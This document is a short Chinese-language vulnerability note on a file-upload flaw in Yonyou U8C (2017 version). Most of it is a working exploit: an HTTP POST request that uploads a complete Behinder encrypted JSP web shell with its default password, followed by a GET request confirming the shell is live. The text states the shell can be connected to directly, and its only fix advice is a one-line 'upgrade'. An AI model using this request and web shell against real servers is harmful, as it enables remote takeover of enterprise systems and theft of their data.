用友u8c文件上传

一、影响范围

2017版本，默认界面如下

二、复现过程

POST /linux/pages/upload.jsp HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 614
Content-Type: application/x-www-form-urlencoded
filename: test.jsp
Accept-Encoding: gzip

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

注意：在filename更改名字，若名字重复无法上传成功

此请求包是为了证明马儿上传成功，直接可以使用冰蝎链接（马儿可以根据自己实际情况更改，连接工具也要做对应的修改）

GET /linux/test.jsp HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=0BA696177CDF75EF6DE3B980E97471F0.server
Upgrade-Insecure-Requests: 1

三、修复建议

升级版本